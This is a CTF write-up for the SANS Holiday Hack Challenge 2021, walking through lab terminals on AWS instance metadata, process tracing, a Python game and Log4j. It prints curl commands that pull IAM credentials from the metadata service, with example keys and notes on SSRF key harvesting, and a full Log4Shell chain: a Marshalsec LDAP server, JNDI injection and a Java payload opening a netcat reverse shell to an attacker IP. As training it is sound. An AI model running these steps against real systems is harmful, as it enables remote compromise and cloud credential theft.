block-device-mapping/root
block-device-mapping/swap
elastic-inference/associations
elastic-inference/associations/eia-bfa21c7904f64a82a21b9f4540169ce1
events/maintenance/scheduled
events/recommendations/rebalance
hostname
iam/info
iam/security-credentials
iam/security-credentials/elfu-deploy-role
instance-action
instance-id
instance-life-cycle
instance-type
latest
latest/api/token
local-hostname
local-ipv4
mac
network/interfaces/macs/0e:49:61:0f:c3:11/device-number
network/interfaces/macs/0e:49:61:0f:c3:11/interface-id
network/interfaces/macs/0e:49:61:0f:c3:11/ipv4-associations/192.0.2.54
network/interfaces/macs/0e:49:61:0f:c3:11/ipv6s
network/interfaces/macs/0e:49:61:0f:c3:11/local-hostname
network/interfaces/macs/0e:49:61:0f:c3:11/local-ipv4s
network/interfaces/macs/0e:49:61:0f:c3:11/mac
network/interfaces/macs/0e:49:61:0f:c3:11/owner-id
network/interfaces/macs/0e:49:61:0f:c3:11/public-hostname
network/interfaces/macs/0e:49:61:0f:c3:11/public-ipv4s
network/interfaces/macs/0e:49:61:0f:c3:11/security-group-ids
network/interfaces/macs/0e:49:61:0f:c3:11/security-groups
network/interfaces/macs/0e:49:61:0f:c3:11/subnet-id
network/interfaces/macs/0e:49:61:0f:c3:11/subnet-ipv4-cidr-block
network/interfaces/macs/0e:49:61:0f:c3:11/subnet-ipv6-cidr-blocks
network/interfaces/macs/0e:49:61:0f:c3:11/vpc-id
network/interfaces/macs/0e:49:61:0f:c3:11/vpc-ipv4-cidr-block
network/interfaces/macs/0e:49:61:0f:c3:11/vpc-ipv4-cidr-blocks
network/interfaces/macs/0e:49:61:0f:c3:11/vpc-ipv6-cidr-blocks
placement/availability-zone
placement/availability-zone-id
placement/group-name
placement/host-id
placement/partition-number
placement/region
product-codes
public-hostname
public-ipv4
public-keys/0/openssh-key
reservation-id
security-groups
services/domain
services/partition
spot/instance-action
spot/termination-time
By accessing the metadata elements, a developer can interrogate information about the
system. Take a look at the public-hostname element:
'curl http://169.254.169.254/latest/meta-data/public-hostname'

Ans:

ec2-192-0-2-54.compute-1.amazonaws.com
Many of the data elements returned won't include a trailing newline, which causes the
response to blend into the prompt. Re-run the prior command, adding '; echo' to the end of
the command. This will add a new line character to the response.

Ans:

elfu@986250f095ff:~$ curl http://169.254.169.254/latest/meta-data/public-hostname; echo
ec2-192-0-2-54.compute-1.amazonaws.com
There is a whole lot of information that can be retrieved from the IMDS server. Even AWS
Identity and Access Management (IAM) credentials! Request the endpoint
'http://169.254.169.254/latest/meta-data/iam/security-credentials' to see the instance IAM
role.

Ans:

elfu@986250f095ff:~$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials; echo
elfu-deploy-role
Once you know the role name, you can request the AWS keys associated with the role. Request
the endpoint 'http://169.254.169.254/latest/meta-data/iam/security-credentials/elfu-deploy-
role' to get the instance AWS keys.

Ans:

elfu@986250f095ff:~$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/elfu-deploy-role; echo
{
        "Code": "Success",
        "LastUpdated": "2021-12-02T18:50:40Z",
        "Type": "AWS-HMAC",
        "AccessKeyId": "AKIA5HMBSK1SYXYTOXX6",
        "SecretAccessKey": "CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX",
        "Token": "NR9Sz/7fzxwIgv7URgHRAckJK0JKbXoNBcy032XeVPqP8/tWiR/KVSdK8FTPfZWbxQ==",
        "Expiration": "2026-12-02T18:50:40Z"
}
So far, we've been interacting with the IMDS server using IMDSv1, which does not require
authentication. Optionally, AWS users can turn on IMDSv2 that requires authentication. This
is more secure, but not on by default.
Run 'next' to continue.

Q4:

For IMDSv2 access, you must request a token from the IMDS server using the
X-aws-ec2-metadata-token-ttl-seconds header to indicate how long you want the token to be
used for (between 1 and 21,600 secods).
Examine the contents of the 'gettoken.sh' script in the current directory using 'cat'.

Ans:

fu@986250f095ff:~$ cat gettoken.sh 
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
This script will retrieve a token from the IMDS server and save it in the environment
variable TOKEN. Import it into your environment by running 'source gettoken.sh'.

Ans:

elfu@986250f095ff:~$ source gettoken.sh
Now, the IMDS token value is stored in the environment variable TOKEN. Examine the contents
of the token by running 'echo $TOKEN'.

Ans:

elfu@986250f095ff:~$ echo $TOKEN
Uv38ByGCZU8WP18PmmIdcpVmx00QA3xNe7sEB9Hixkk=
With the IMDS token, you can make an IMDSv2 request by adding the X-aws-ec2-metadata-token
header to the curl request. Access the metadata region information in an
IMDSv2 request: 'curl -H "X-aws-ec2-metadata-token: $TOKEN"
http://169.254.169.254/latest/meta-data/placement/region'

Ans:

elfu@986250f095ff:~$ curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/placement/region; echo
np-north-1
Congratulations!
You've completed the lesson on Instance Metadata interaction. Run 'exit' to close.

Phew! That is something extra! Oh, and you solved the challenge too? Great!
Cloud assets are interesting targets for attackers. Did you know they automatically get IMDS access?
I’m very concerned about the combination of SSRF and IMDS access.
Did you know it’s possible to harvest cloud keys through SSRF and IMDS attacks?
Dr. Petabyte told us, “anytime you see URL as an input, test for SSRF.”
With an SSRF attack, we can make the server request a URL. This can reveal valuable data!
The AWS documentation for IMDS is interesting reading.


Strace Ltrace Retrace - Tinsel Upatree

Provides hints for: Objective 11 - Customer Complaint Analysis

Hiya hiya, I’m Tinsel Upatree!
Say, do you know what’s going on next door?
I’m a bit worried about the whole FrostFest event.
It feels a bit… ill-conceived, somehow. Nasty even.
Well, regardless – and more to the point, what do you know about tracing processes in Linux?
We rebuilt this here Cranberry Pi that runs the cotton candy machine, but we seem to be missing a file.
Do you think you can use strace or ltrace to help us rebuild the missing config?
We’d like to help some of our favorite children enjoy the sweet spun goodness again!
And, if you help me with this, I’ll give you some hints about using Wireshark filters to look for unusual options that might help you achieve Objectives here at the North Pole.

================================================================================

Please, we need your help! The cotton candy machine is broken!

We replaced the SD card in the Cranberry Pi that controls it and reinstalled the
software. Now it's complaining that it can't find a registration file!

Perhaps you could figure out what the cotton candy software is looking for...

================================================================================

kotton_kandy_co@d38a94d7c956:~$ 

Strace

kotton_kandy_co@d38a94d7c956:~$ strace ./make_the_candy 
execve("./make_the_candy", ["./make_the_candy"], 0x7ffe82d37bd0 /* 12 vars */) = 0
brk(NULL)                               = 0x562ce9b2a000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=19540, ...}) = 0
mmap(NULL, 19540, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f6363921000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\20\35\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=2030928, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f636391f000
mmap(NULL, 4131552, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f636330c000
mprotect(0x7f63634f3000, 2097152, PROT_NONE) = 0
mmap(0x7f63636f3000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7f63636f3000
mmap(0x7f63636f9000, 15072, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f63636f9000
close(3)                                = 0
arch_prctl(ARCH_SET_FS, 0x7f63639204c0) = 0
mprotect(0x7f63636f3000, 16384, PROT_READ) = 0
mprotect(0x562ce87df000, 4096, PROT_READ) = 0
mprotect(0x7f6363926000, 4096, PROT_READ) = 0
munmap(0x7f6363921000, 19540)           = 0
brk(NULL)                               = 0x562ce9b2a000
brk(0x562ce9b4b000)                     = 0x562ce9b4b000
openat(AT_FDCWD, "registration.json", O_RDONLY) = -1 ENOENT (No such file or directory)
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
write(1, "Unable to open configuration fil"..., 35Unable to open configuration file.
) = 35
exit_group(1)                           = ?
+++ exited with 1 +

It appears to be looking for a registration.json file.

kotton_kandy_co@d38a94d7c956:~$ touch registration.json
kotton_kandy_co@d38a94d7c956:~$ ./make_the_candy 
Unregistered - Exiting.

New we need to figure out the contents for our json file.

Ltrace

kotton_kandy_co@d38a94d7c956:~$ ltrace ./make_the_candy 
fopen("registration.json", "r")                           = 0x55dc75e4b260
getline(0x7ffe56d04f30, 0x7ffe56d04f38, 0x55dc75e4b260, 0x7ffe56d04f38) = -1
puts("Unregistered - Exiting."Unregistered - Exiting.
)                           = 24
+++ exited (status 1) +++
kotton_kandy_co@d38a94d7c956:~$ echo 'Registration' > registration.json && ltrace ./make_the_candy 
fopen("registration.json", "r")                           = 0x5627cd870260
getline(0x7fffbb4b1d20, 0x7fffbb4b1d28, 0x5627cd870260, 0x7fffbb4b1d28) = 13
strstr("Registration\n", "Registration")                  = "Registration\n"
strchr("Registration\n", ':')                             = nil
getline(0x7fffbb4b1d20, 0x7fffbb4b1d28, 0x5627cd870260, 0x7fffbb4b1d28) = -1
puts("Unregistered - Exiting."Unregistered - Exiting.
)                           = 24
+++ exited (status 1) +++
kotton_kandy_co@d38a94d7c956:~$ echo 'Registration:' > registration.json && ltrace ./make_the_candy 
fopen("registration.json", "r")                           = 0x55cb5fb07260
getline(0x7ffe676da9e0, 0x7ffe676da9e8, 0x55cb5fb07260, 0x7ffe676da9e8) = 14
strstr("Registration:\n", "Registration")                 = "Registration:\n"
strchr("Registration:\n", ':')                            = ":\n"
strstr(":\n", "True")                                     = nil
getline(0x7ffe676da9e0, 0x7ffe676da9e8, 0x55cb5fb07260, 0x7ffe676da9e8) = -1
puts("Unregistered - Exiting."Unregistered - Exiting.
)                           = 24
+++ exited (status 1) +++
kotton_kandy_co@d38a94d7c956:~$ echo 'Registration: True' > registration.json && ltrace ./make_the_candy 
fopen("registration.json", "r")                           = 0x561c88596260
getline(0x7ffef76c5530, 0x7ffef76c5538, 0x561c88596260, 0x7ffef76c5538) = 19
strstr("Registration: True\n", "Registration")            = "Registration: True\n"
strchr("Registration: True\n", ':')                       = ": True\n"
strstr(": True\n", "True")                                = "True\n"
getline(0x7ffef76c5530, 0x7ffef76c5538, 0x561c88596260, 0x7ffef76c5538) = -1
system("/bin/initialize_cotton_candy_sys"...


Launching...

     *                              *
      *                            *
         Candy making in progress


 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                    = 0
fclose(0x561c88596260)                                    = 0
+++ exited (status 0) +++

Great! Thanks so much for your help!
I’m sure I can put those skills I just learned from you to good use.
Are you familiar with RFC3514?
Wireshark uses a different name for the Evil Bit: ip.flags.rb.
HTTP responses are often gzip compressed. Fortunately, Wireshark decompresses them for us automatically.
You can search for strings in Wireshark fields using display filters with the contains keyword.


The Elf Code - Ribb Bonbowford

Provides hints for:

Hello, I’m Ribb Bonbowford. Nice to meet you!
Are you new to programming? It’s a handy skill for anyone in cyber security.
This here machine lets you control an Elf using Python 3. It’s pretty fun, but I’m having trouble getting beyond Level 8.
Tell you what… if you help me get past Level 8, I’ll share some of my SQLi tips with you. You may find them handy sometime around the North Pole this season.
Most of the information you’ll need is provided during the game, but I’ll give you a few more pointers, if you want them.
Not sure what a lever requires? Click it in the Current Level Objectives panel.
You can move the elf with commands like elf.moveLeft(5), elf.moveTo({"x":2,"y":2}), or elf.moveTo(lever0.position).
Looping through long movements? Don’t be afraid to moveUp(99) or whatever. You elf will stop at any obstacle.
You can call functions like myFunction(). If you ever need to pass a function to a munchkin, you can use myFunction without the ().

Level 0: Just hit run, this is example code to get you started.

import elf, munchkins, levers, lollipops, yeeters, pits
# Grab our lever object
lever = levers.get(0)
munchkin = munchkins.get(0)
lollipop = lollipops.get(0)
# move to lever position
elf.moveTo(lever.position)
# get lever int and add 2 and submit val
leverData = lever.data() + 2
lever.pull(leverData)
# Grab lollipop and stand next to munchkin
elf.moveLeft(1)
elf.moveUp(8)
# Solve the munchkin's challenge
munchList = munchkin.ask() # e.g. [1, 3, "a", "b", 4]
answer_list = []
for elem in munchList:
    if type(elem) == int:
        answer_list.append(elem)
munchkin.answer(answer_list)
elf.moveUp(2) # Move to finish

Level 1:

import elf, munchkins, levers, lollipops, yeeters, pits

elf.moveLeft(10)
elf.moveUp(12)

Level 2:

import elf, munchkins, levers, lollipops, yeeters, pits

lps = lollipops.get()
elf.moveTo(lps[1].position)
elf.moveTo(lps[0].position)
elf.moveLeft(3)
elf.moveUp(6)

Level 3:

import elf, munchkins, levers, lollipops, yeeters, pits

l, lp = levers.get(0), lollipops.get(0)
elf.moveTo(l.position)
l.pull(l.data() + 2)
elf.moveTo(lp.position)
elf.moveUp(12)

Level 4:
Navigate to levers in reverse and reference a list for lever answers.

import elf, munchkins, levers, lollipops, yeeters, pits

ans = ["string", True, 1.0, [1, 2], {"dict": 1}]
count = 0
for lever in reversed(levers.get()):
    elf.moveTo(lever.position)
    lever.pull(ans[count])
    count += 1
elf.moveUp(5)

Level 5:
Navigate to levers in reverse order, use a counter to trigger different answers.

import elf, munchkins, levers, lollipops, yeeters, pits

count = 0
for lever in reversed(levers.get()):
    ans = None
    elf.moveTo(lever.position)
    data = lever.data()
    if count == 0:
        ans = data + " concatenate"
    if count == 1:
        ans = not data
    if count == 2:
        ans = 1 + data
    if count == 3:
        data.append(1)
        ans = data
    if count == 4:
        data["strkey"]="strvalue"
        ans = data
    lever.pull(ans)
    count += 1
elf.moveUp(5)

Level 6:
Check single lever for returned data type and reply based on type.

import elf, munchkins, levers, lollipops, yeeters, pits

l = levers.get(0)

elf.moveTo(l.position)

d = l.data()
ans = None
if type(d) == bool:
    ans = not d
elif type(d) == int:
    ans = d * 2 
elif type(d) == list:
    ans = [x+1 for x in d]
elif type(d) == str:
    ans = d + d 
elif type(d) == dict:
    d['a'] += 1
    ans = d
l.pull(ans)
elf.moveUp(4)

Level 7:

import elf, munchkins, levers, lollipops, yeeters, pits

switch = True
for i in range(4):
    elf.moveLeft(3)
    elf.moveUp(12) if switch else elf.moveDown(12)
    switch = not switch
elf.moveLeft(3)
elf.moveUp(12)

Level 8:
Answer the munchkins request to make him friendly then just navigate through

import elf, munchkins, levers, lollipops, yeeters, pits
m = munchkins.get(0)
data = m.ask()
ans = list(data.keys())[list(data.values()).index('lollipop')]
m.answer(ans)
for lp in lollipops.get():
    elf.moveTo(lp.position)
elf.moveLeft(8)
elf.moveUp(5)

Level 9:

import elf, munchkins, levers, lollipops, yeeters, pits

def munchkin_food(lol):
    total = 0
    for l in lol:
        for i in l:
            total += i if type(i) == int else 0
    return total

munchkins.get(0).answer(munchkin_food)

l = levers.get()
for i in range(8):
    if i%4 == 0: 
        elf.moveDown(i+1)
    if i%4 == 1: 
        elf.moveLeft(i+1)
    if i%4 == 2: 
        elf.moveUp(i+1)
    if i%4 == 3: 
        elf.moveRight(i+1)
    if i < 7:
        l[i].pull(i)

elf.moveUp(2)
elf.moveLeft(4)
elf.moveUp(2)   

Level 10:

import elf, munchkins, levers, lollipops, yeeters, pits
import time
muns = munchkins.get()
lols = lollipops.get()[::-1]
for index, mun in enumerate(muns):
    while True:
        sp, mp = elf.position['x'], mun.position['x']
        dif = sp-mp if mp < sp else mp-sp
        time.sleep(0.05)
        if dif == 6:
            elf.moveTo(lols[index].position)
            break
elf.moveLeft(6)
elf.moveUp(3)

Gosh, with skills like that, I’ll bet you could help figure out what’s really going on next door…
And, as I promised, let me tell you what I know about SQL injection.
I hear that having source code for vulnerability discovery dramatically changes the vulnerability discovery process.
I imagine it changes how you approach an assessment too.
When you have the source code, API documentation becomes tremendously valuable.
Who knows? Maybe you’ll even find more than one vulnerability in the code.
Wow - even the bonus levels! That’s amazing!


Frostavator - Grody Goiterson

Provides hints for:

Hrmph. Snrack! Pthbthbthb.
Gnerphk. Well, on to business.
I’m Grody Goiterson. … It’s a family name.
So hey, this is the Frostavator. It runs on some logic chips… that fell out.
I put them back in, but I must have mixed them up, because it isn’t working now.
If you don’t know much about logic gates, it’s something you should look up.
If you help me run the elevator, maybe I can help you with something else.
I’m pretty good with FPGAs, if that’s worth something to ya'.

This is a simple logic puzzle, move the different gates into the apropriate spots to power the Frostavator.

Frostavator - Solution

Hrmph. Snrack! Pthbthbthb.
Oooo… That’s it!
A deal’s a deal. Let’s talk FPGA.
First, did you know there are people who do this stuff for fun??
I mean, I’m more into picking on other trolls for fun, but whatever.
Also, that Prof. Petabyte guy is giving a talk about FPGAs. Weirdo.
So hey, good luck or whatever.



Bonus Challenges

Bonus Blue Log4Jack

Simple Log4J informational challenges added in the middle of HHC 2021. I found these challenges to be very unstable so I made a list of commands I could copy and paste and work through it as quickly as possible.

cmds terminal keeps resetting

y
sleep 1
next
sleep 1
ls
sleep 1
cd vulnerable
sleep 1
ls
sleep 1
cat DisplayFilev1.java
sleep 1
javac DisplayFilev1.java
sleep 1
java DisplayFilev1 testfile.txt
sleep 1
java DisplayFilev1 testfile2.txt
sleep 1
next
sleep 1
cat DisplayFilev2.java
sleep 1
next
sleep 1
javac DisplayFilev2.java
sleep 1
java DisplayFilev2 testfile2.txt
sleep 1
next
sleep 1
java DisplayFilev2 '${java:version}'
sleep 1
java DisplayFilev2 '${env:APISECRET}'
sleep 1
next
sleep 1
startserver.sh

Interrupt:

java DisplayFilev2 '${jndi:ldap://127.0.0.1:1389/Exploit}'

Ctrl+c

cd ~/patched
sleep 1
ls
sleep 1
source classpath.sh
sleep 1
javac DisplayFilev2.java
sleep 1
java DisplayFilev2 '${java:version}'
sleep 1
cd 
sleep 1
log4j2-scan ./vulnerable/
sleep 1
log4j2-scan ./patched/
sleep 1
log4j2-scan /var/www/solr
sleep 1
next
sleep 1
ls /var/log/www/
sleep 2
cat /var/log/www/access.log | grep -i jndi
sleep 5
cat logshell-search.sh
sleep 1
logshell-search.sh /var/log/www
sleep 1
logshell-search.sh /var/log/www | sed '1!d'
sleep 1
logshell-search.sh /var/log/www | sed '2!d'
sleep 1
logshell-search.sh /var/log/www | sed '3!d'
sleep 1
next
sleep 5
exit


Bonus Red Log4Jack

Simple Log4J informational challenges added in the middle of HHC 2021.

The vulnerable server at http://solrpower.kringlecastle.com:8983 is running Solr; you can see this by making a request to the web server /solr/ endpoint, as shown here:

~$ curl http://solrpower.kringlecastle.com:8983/solr/
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html ng-app="solrAdminApp" ng-csp>
<!--
...
</body>
</html>

NOTE: Solr is not the only product vulnerable to the Log4shell vulnerability!

To exploit the vulnerable server, we will launch the Marshelsec Java deserialization LDAP server. The vulnerable server needs to reach the malicious LDAP server as part of the Log4shell attach path.

Change to the marshalsec directory, as shown here:

~$ cd marshalsec
~/marshalsec$ ls
marshalsec-0.0.3-SNAPSHOT-all.jar

Start the Marshalsec LDAP server, specifying the listening web server by IP address on port 8080. In the request, indicate the Java class name #YuleLogExploit which will correspond to the attack code we’ll generate next, as shown here:

~/marshalsec$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://WEBSERVERIP:8080/#YuleLogExploit"
Listening on 0.0.0.0:1389

Be sure to replace WEBSERVERIP with the IP address of your terminal.

So far the attacking system has started the Marshalsec LDAP server started, the web server to deliver the malicious Java class, and the shell listener. Next, we need to create the exploit in Java to run a command on the vulnerable server and connect back to the attacker system.

Click to switch to the bottom terminal. Change to the web directory by running cd web, as shown here.

~$ cd web
~/web$

Next, create a file named YuleLogExploit.java and add the Java exploit code shown below. You can use the text editor nano to create the file by running nano YuleLogExploit.java.

public class YuleLogExploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc NETCATIP 4444 -e /bin/bash");
        } catch (Exception err) {
            err.printStackTrace();
        }
    }
}

This Java program will run the Netcat command and send a shell to the specified IP address.

NOTE: Make sure you replace the NETCATIP string with the IP address of your Netcat listener in the top-right corner of your terminal.

(If you don’t want to type this exploit code you can run mv .exploit YuleLogExploit.java), then edit to replace NETCATIP with your terminal IP address.

Next, compile the exploit using the javac compiler, as shown here:

~/web$ javac YuleLogExploit.java
~/web$ ls
YuleLogExploit.class  YuleLogExploit.java

Next, deliver the Log4shell exploit to gain remote access to Santa’s Solr server by making a cURL request, as shown here.

~/web$ curl 'http://solrpower.kringlecastle.com:8983/solr/admin/cores?foo=$\{jndi:ldap://MARSHALSECIP:1389/YuleLogExploit\}'
{
  "responseHeader":{
    "status":0,
    "QTime":105},
  "initFailures":{},
  "status":{}}

Be sure to replace MARSHALSECIP with the IP address of your terminal.

If the exploit succeeds, you will see a status update in the terminal window for the Marshalsec LDAP server, the web server, and the Netcat shell listener. Switch to the Netcat shell listener terminal and enter any Linux command such as whoami:

listening on [172.17.0.2] 4444 ...
connect to [172.17.0.2] from (UNKNOWN) [172.17.0.2] 49530
whoami
solr

Success!

Next, retrieve the contents of the file in /home/solr/kringle.txt using cat:

cat /home/solr/kringle.txt
...

Finally, return to the terminal where you ran cURL and run runtoanswer to complete the achievement.

The solution to Log4shell is patching.
Sincerely,

Santa
~$ runtoanswer
What is Santa's solution for Log4j?

> patching

Checking.....
Your answer is correct!


Just for Fun

Alternative solutions - Logic Munchers

I wrote two separate tampermonkey scripts that worked on the Logic Munchers game.

The first script highlights each of the cells that evaluate to True in green so you can quickly run through the game manually.

Logic Munchers - Alt Solution 1

// ==UserScript==
// @name         Logic Muncher Logic Checker
// @namespace    http://tampermonkey.net/
// @version      0.1
// @description  Highlight true cells in the kringlecon logic muncher game.
// @author       Wheatley
// @include      *logic.kringlecastle.com/*
// @icon         https://www.google.com/s2/favicons?domain=kringlecon.com
// @grant        none
// ==/UserScript==

(function() {
    'use strict';
function highlightCells(){
    function waitForFnc(){
      if(typeof challenges == "undefined"){
        setTimeout(waitForFnc, 500);
        console.log("Waiting for chalenge data...");
      }else{
      for (let i = 0; i < 6; i++) {
          for (let j = 0; j < 5; j++) {
              var row = challenges[i];
              if(row[j][1] === true) {
                  document.getElementById(i+','+j).setAttribute("style", "background-color: green;");
              } else {
                  document.getElementById(i+','+j).setAttribute("style", "background-color: black;");
              }
          }
      }
      setTimeout(highlightCells, 500)
      }
    }
  	waitForFnc();
}
highlightCells();
})();

This second script just plain wins the game for you at the rate of about 1 level every 3 seconds since you have to let them load in first. I did this because I was curious if there was an additional hidden achievement for getting to an insane level/score, there did not seem to be after letting it run for some time. It does this by setting every true value in the challenges array to false and then calling the game’s checkWin() function. All of this manipulation is possible because most of the game variables are declared in a global space and are accessible to the end-user. Playing around there are a number of other things you can do as well such as automatically killing all of the enemies that pop up or setting their spawn timer so high they never show up in the first place.

// ==UserScript==
// @name         Logic Muncher Just Win
// @namespace    http://tampermonkey.net/
// @version      0.1
// @description  Just win the kringlecon logic muncher game.
// @author       Wheatley
// @include      *logic.kringlecastle.com/*
// @icon         https://www.google.com/s2/favicons?domain=kringlecon.com
// @grant        none
// ==/UserScript==

(function() {
    'use strict';
function doWin(){
    function waitForFnc(){
      if(typeof challenges == "undefined"){
        setTimeout(waitForFnc, 500);
        console.log("Waiting for chalenge data...");
      }else{
        for (var col = 0; col < challenges.length; col++) { // check each cell for a true statement
            for (var cell = 0; cell < challenges[col].length; cell++) {
                challenges[col][cell][1] = false;
            };
        };
        checkWin();
        setTimeout(doWin, 3000)
      }
    }
  	waitForFnc();
}
doWin();
})();